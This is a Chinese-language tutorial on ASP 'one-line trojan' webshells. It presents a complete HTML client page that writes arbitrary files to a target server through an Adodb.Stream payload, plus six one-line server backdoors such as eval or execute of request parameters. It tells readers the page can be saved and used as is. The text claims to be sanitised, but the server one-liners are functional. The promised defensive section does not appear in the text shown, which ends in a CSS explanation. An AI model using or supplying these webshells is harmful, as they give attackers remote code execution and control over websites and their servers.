一句话插入木马,就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。本文就一句话asp木马的工作原理进行了剖析,并在最后列出防范的具体措施。(注:以下代码仅供参考,因为内含木马程序,所以本文已做安全性修改)
一:基础篇
首先我们看一下最常用的一句话木马客户端的代码:
以下是代码片段:
<html>
<head>
<title>一句话客户端</title>
<style type="text/css">
<!--
body {
background-color: #FFFFFF;
}
.lygf {
border: 1px solid #660069;
font-size: 12px;
}
-->
</style>
</head>
<body>
<table width="500" border="0" align="center"
class="lygf" height="14" cellspacing="0">
<tr>
<td height="1" width="794">
<form name="lygf" method="post">
<input name="add" type="text" id="add"
size="97" value="http://">
<input type="submit" value=""
onClick=""
<input type="hidden" name="" id=""
value="Execute("Session("""")=request(""""):
Execute(Session(""""))")">
</td>
</tr>
<tr>
<td height="100" width="794">
<textarea name="*" cols="100" rows="9" width="45">
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("lygf")
lP.Close
set lP=nothing
response.redirect "fk.asp"</textarea>
</td>
</tr>
<tr>
<td height="1" width="794">
<textarea name="lygf" cols="100" rows="15" width="45">
写入</textarea>
</td>
</tr>
<tr>
<td width="794" height="7">
<font color="#000000">提供六个服务端:</font>
<br>
1. <%eval request("fk")%>
<br>
2. <%execute request("fk")%>
<br>
3. <%execute(request("fk"))%>
<br>
4. <%On Error Resume Next%><%eval request("fk")%>
<br>
5. <script language=""runat=server>execute request("")
<br>
6. <script language="" runat=server>eval request("")
</td>
</tr>
</table>
</body>
</html> |
把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到:
下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):
显示在浏览器标题栏上面的文字,你可以自己更改
<style type="text/css">
<!--
body {
background-color: #FFFFFF; 背景颜色
}
.lygf {
border: 1px solid #660099; 边框属性
font-size: 12px; 字体大小
}
--> 本页面所要用到的样式 |